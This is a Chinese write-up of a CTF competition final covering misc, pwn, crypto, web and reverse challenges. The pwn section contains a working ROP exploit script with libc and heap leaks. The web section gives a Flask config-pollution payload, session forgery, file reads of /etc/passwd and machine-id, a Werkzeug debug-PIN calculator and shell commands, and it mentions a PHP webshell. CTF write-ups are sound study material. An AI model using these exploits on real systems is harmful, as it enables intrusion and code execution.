内部赛-2023第三届网络安全攻防大赛个人赛③-决赛WriteUp
有几个不会的,接着卷.
misc
where_is_pwd
用hint.zip 明文攻击
得到FLAG hint.txt 和另一个压缩包
FLAG改名为FLAG.TTF 导入字体
hint.txt内容复制到word 全选 改字体得到压缩包密码
三裂偏移
给了提示:
推测每行数字为三个点,对应原点位置偏移量,利用三圆定位法确定原点位
以及 insec函数
直接用提示的脚本来吧.
import math
import re
def insec(p1, r1, p2, r2):
x = p1[0]
y = p1[1]
R = r1
a = p2[0]
b = p2[1]
S = r2
d = math.sqrt((abs(a - x)) ** 2 + (abs(b - y)) ** 2)
if d > (R + S) or d < (abs(R - S)):
print("Two circles have no intersection")
return
elif d == 0 and R == S:
print("Two circles have same center!")
return
else:
A = (R ** 2 - S ** 2 + d ** 2) / (2 * d)
h = math.sqrt(R ** 2 - A ** 2)
x2 = x + A * (a - x) / d
y2 = y + A * (b - y) / d
x3 = round(x2 - h * (b - y) / d, 2)
y3 = round(y2 + h * (a - x) / d, 2)
x4 = round(x2 + h * (b - y) / d, 2)
y4 = round(y2 - h * (a - x) / d, 2)
s0 = {(x3, y3), (x4, y4)}
return s0
def go():
lst = []
f = open('data.txt', 'r', encoding='utf8')
txt = f.read()
for line in txt.splitlines():
res = line.strip(';').split(";")
a1, a2, a3 = res
"'(661, 103)-655.3388436526558'"
p1, r1 = get_param(a1)
p2, r2 = get_param(a2)
p3, r3 = get_param(a3)
rs = insec(p1, r1, p2, r2)
rs2 = insec(p3, r3, p2, r2)
point = rs & rs2
lst.append(point)
f1 = open('point.txt', 'w', encoding='utf8')
for line in lst:
x,y = line.pop()
f1.write(f"{x} {y}\n")
f1.close()
def get_param(a1):
m = re.search(r"\((\d+), (\d+)\)(.*)", a1).groups()
p1 = float(m[0]), float(m[1])
r1 = float(m[2][1:])
return p1, r1
go()
画一下坐标即可 .
pwn
Findpath
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from ctypes import *
# context.log_level = 'debug'
def exp():
pop_rdi_ret = 0x000000000040173b
leave_ret = 0x000000000040164e
# payload = p64(0x404040 + 0x100)
payload = "I_can_find_the_right_path\n\n"
payload = payload.ljust(0x20,'\x00')
payload += p64(0x401737)
payload += p64(0x401716)
print(len(payload))
p.send(payload)
payload = "a"*0x30
payload += p64(0x404040 + 0x18)
payload += p64(leave_ret)
p.recv()
p.send(payload)
payload = p64(0x404040 + 0x500)
payload += p64(0x401716)
payload = payload.ljust(0x30,"a")
payload += p64(0x404030)
payload += p64(leave_ret)
p.send(payload)
sleep(0.01)
payload = p64(0x404040 + 0x600)
payload += p64(pop_rdi_ret)
payload += p64(elf.got["puts"])
payload += p64(elf.sym["puts"])
payload += p64(0x401716)
payload = payload.ljust(0x30,"a")
payload += p64(0x404010 + 0x500)
payload += p64(leave_ret)
p.send(payload)
libc_base = l64() - libc.sym["puts"]
print(hex(libc_base))
pop_rdx_r12 = 0x0000000000090529 + libc_base
pop_rsi_ret = libc_base + libc.search(asm("pop rsi;ret"),executable=True).next()
pop_rsp_ret = libc_base + libc.search(asm("pop rsp;ret"),executable=True).next()
sleep(0.01)
payload = p64(0x404040 + 0x700)
payload += p64(pop_rsi_ret)
payload += p64(0x404630)
payload += p64(elf.sym["read"])
payload += p64(0x40184C)
payload = payload.ljust(0x30,"a")
payload += p64(0x404608+0x8)
payload += p64(leave_ret)
p.send(payload)
sleep(0.01)
p.send(p64(pop_rsi_ret) + p64(0x404660) + p64(pop_rdx_r12) + p64(0x60)*2 +p64(elf.sym["read"]))
sleep(0.01)
#leak heap
addr = 0x2193c0 + libc_base
payload = p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(addr) + p64(libc_base + libc.sym["write"])
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(0x4046b0)
payload += p64(elf.sym["read"])
p.send(payload)
heap_addr = (p.recv(8))
heap_addr = u64(p.recv(8))
print(hex(heap_addr))
p.recv(0x58)
payload = p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(heap_addr + 0x2d0) + p64(pop_rdx_r12) + p64(0x100)*2 +p64(libc_base + libc.sym["write"])
# log.hexdump(heap_addr)
p.send(payload)
sleep(0.01)
p.interactive()
if __name__ == "__main__":
binary = './pwn1'
elf = ELF('./pwn1')
context.binary = binary
libc = ELF("./libc.so.6")
if(len(sys.argv) == 3):
p = remote(sys.argv[1],sys.argv[2])
else:
p = process(binary)
# p = process(["seccomp-tools","dump","./pwn1"])
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
exp()
"""
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
rbp == NULL || (u16)[rbp] == NULL
0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL
0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
"""
Crypto
matrix
题目分成三个挑战,要求都是恢复m,哈希后和密文异或即可解密
第一轮M没有缺少列,所以可以直接用solve_left解出来。
第二轮M少了一列,但可以通过爆破来恢复前31个字节,然后判断是否在范围内,从而确定最后的m
第三轮M少了一半,只能用格来做。造一个49*48的格,LLL后取第二行的后32个,svp得到的结果就是m
exp:
from Crypto.Util.number import *
import hashlib
LEN = 32
def xor(a, b):
return bytes([a[i%len(a)] ^^ b[i%len(b)] for i in range(max(len(a), len(b)))])
def chall1(data, enc):
print("chall1")
M = data['M']
p = data['p']
c = data['c']
M = matrix(Zmod(p), LEN, LEN, M)
c = vector(Zmod(p), c)
m = M.solve_left(c)
print(m)
tmp = b''
for i in range(LEN):
tmp += long_to_bytes(int(m[i]))
print(len(tmp))
return xor(enc, hashlib.sha512(tmp).digest())
def chall2(data, enc):
print("chall2")
M = data['M']
p = data['p']
c = data['c']
M = matrix(Zmod(p), LEN, LEN-1, M)
M = M[:32]
# print(M)
c = vector(Zmod(p), c)
# print(c)
m = M[-1]
for _ in range(256):
tmp = c - _ * m
res = M.solve_left(tmp)
if all([0 <= res[j] <= 256 for j in range(LEN-1)]):
break
mm = b''
for i in range(LEN-1):
mm += long_to_bytes(int(res[i]))
print(res)
mm += long_to_bytes(_)
print(len(mm))
return xor(enc, hashlib.sha512(mm).digest())
def chall3(data, enc):
print("chall3")
M = data['M']
p = data['p']
c = data['c']
M = matrix(Zmod(p), LEN, LEN//2, M)
c = vector(Zmod(p), c)
m = matrix(ZZ, 49, 48)
for i in range(LEN):
m[i, i+LEN//2] = 1
for j in range(LEN//2):
m[i,j] = M[i,j]
m[j+LEN,j] = p
m[-1, j] = c[j]
ml = m.LLL()
print(ml[1][16:])
res = ml[1][16:]
mm = b''
for i in range(LEN):
mm += long_to_bytes(abs(res[i]))
print(len(mm))
return xor(enc, hashlib.sha512(mm).digest())
with open("output.txt", 'r') as f:
out = eval(f.read()[5:])
# print(out)
enc = long_to_bytes(int(out['enc'], 16))
# print(enc)
enc = chall3(out['chall3'],enc)
# print(enc)
enc = chall2(out['chall2'],enc)
# print(enc)
enc = chall1(out['chall1'],enc)
print(f"flag: {enc}")
b'flag{db1ebd0c-1cac-55d5-763e-b05f3d9af423}\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16'
web
ezflask
通过如下利用修改key
{
"__init\u005f_" : {
"__globals\u005f_" : {
"app" : {
"config" : {
"SECRET_KEY" :"aaa"
}
}
}
},
"username":1,
"password":1
}
然后伪造session
python3 flask_session_cookie_manager3.py encode -s 'aaa' -t '{"username": "admin","Login": 1}'
依次读取flask-pin码计算所需的文件
/read?url=file://127.0.0.1/etc/passwd
/read?url=file://127.0.0.1/sys/class/net/eth0/address
/read?url=file://127.0.0.1/etc/machine-id
/read?url=file://127.0.0.1/proc/self/cgroup
然后利用flask-pin.py计算处pin值,进入 /console 输入正确的pin即可获得代码执行
flask-ping
import hashlib
from itertools import chain
probably_public_bits = [
'ctf' # username 可通过/etc/passwd获取
'flask.app', # modname默认值
'Flask', # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 路径 可报错得到 getattr(mod, '__file__', None)
]
private_bits = [
'2485723361282', # /sys/class/net/eth0/address mac地址十进制
'96cec10d3d9307792745ec3b85c8962033876d8e5655e5c276c891fd62874a73a7b651056e98c1f896fbe1edcee12936'
# 字符串合并:首先读取文件内容 /etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id /proc/self/cgroup
# 有machine-id 那就拼接machine-id + /proc/self/cgroup 否则 /proc/sys/kernel/random/boot_id + /proc/self/cgroup
]
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
进入 http://x.x/console
输入pin码
import os
os.popen('ls /').read()
os.popen('/readflag').read()
web2
扫到 www.zip 爆破 md5 217f81b8ff0a1ab138a8e1bdc031262e 为 leet
直接连用1337.php一句话木马.
reverse
snake
拖进 ida64 就可以发现大体逻辑很清晰
加密二稍微跟踪了一下发现是固定数组的乘法之和,实际上是四元一次方程
加密一分成两部分,上部分是字符位移
把 "Sn@k{0123456789}" 位移成了 "Sn@k678{5}904321"
下部分是异或
中间的生成异或数 函数逻辑简化如下
int sub_7FF758A91198(const char *a1)
{
unsigned int v3; // r8d
v3 = *a1;
for(int i = 0; i < 3; ++i)
{
v3 ^= a1[4 + i * 4];
}
return v3;
}
解题脚本如下
from z3 import *
# 创建四个整数变量
x = Int('x')
y = Int('y')
z = Int('z')
w = Int('w')
# 定义四个方程的和
sum_values = [
[1078, 692, 687, 786],
[746, 595, 522, 654],
[454, 348, 380, 378],
[1694, 1198, 1201, 1314]
]
solutions = [] # 存储解的列表
for i in range(4):
# 创建一个Z3求解器
solver = Solver()
# 添加四个方程到求解器
equation1 = x + 5*y + 4*z + 3*w == sum_values[0][i]
equation2 = 2*x + y + 2*z + 3*w == sum_values[1][i]
equation3 = 2*x + y + z + w == sum_values[2][i]
equation4 = 3*x + 5*y + 4*z + 7*w == sum_values[3][i]
solver.add(equation1, equation2, equation3, equation4)
# 检查是否存在解
if solver.check() == sat:
# 有解,获取解的模型
model = solver.model()
# 将解存储到列表中
solutions.append({
'x': model[x].as_long(),
'y': model[y].as_long(),
'z': model[z].as_long(),
'w': model[w].as_long()
})
else:
solutions.append(None) # 如果没有解,存储None
last = [0] * 16
# 打印结果
for i, solution in enumerate(solutions):
#print(f"Solution for sum{i + 1}:")
if solution:
#print(f"x = {solution['x']}")
#print(f"y = {solution['y']}")
#print(f"z = {solution['z']}")
#print(f"w = {solution['w']}")
last[i + 4 * 0] = solution['x']
last[i + 4 * 1] = solution['y']
last[i + 4 * 2] = solution['z']
last[i + 4 * 3] = solution['w']
else:
print("No solution")
#print()
print(last)
#[100, 89, 119, 92, 66, 5, 69, 4, 84, 83, 4, 104, 104, 82, 69, 86]
TestIn = "Sn@k{0123456789}"
TestOut = "Sn@k678{5}904321"
flag = [0] * 16
#flag[0:4] = "Sn@k"
flag[0:4] = last[0:4]
for i in range(4,16):
flag[i] = last[TestOut.find(TestIn[i])]
#a1[0] ^ a1[4] ^ a1[8] ^ a1[12]
#flag[0] = a1[4] ^ a1[8] ^ a1[12]
#flag[4] = a1[0] ^ a1[8] ^ a1[12]
#flag[8] = a1[0] ^ a1[4] ^ a1[12]
#flag[12] = a1[0] ^ a1[4] ^ a1[8]
a1 = [0] * 16
a1[0] = ord('S')
a1[4] = flag[0] ^ flag[4] ^ a1[0]
a1[8] = flag[4] ^ flag[8] ^ a1[4]
a1[12] = flag[8] ^ flag[12] ^ a1[8]
xord = a1[0] ^ a1[4] ^ a1[8] ^ a1[12]
for i in range(16):
flag[i] = chr(flag[i] ^ xord);
print("".join(flag))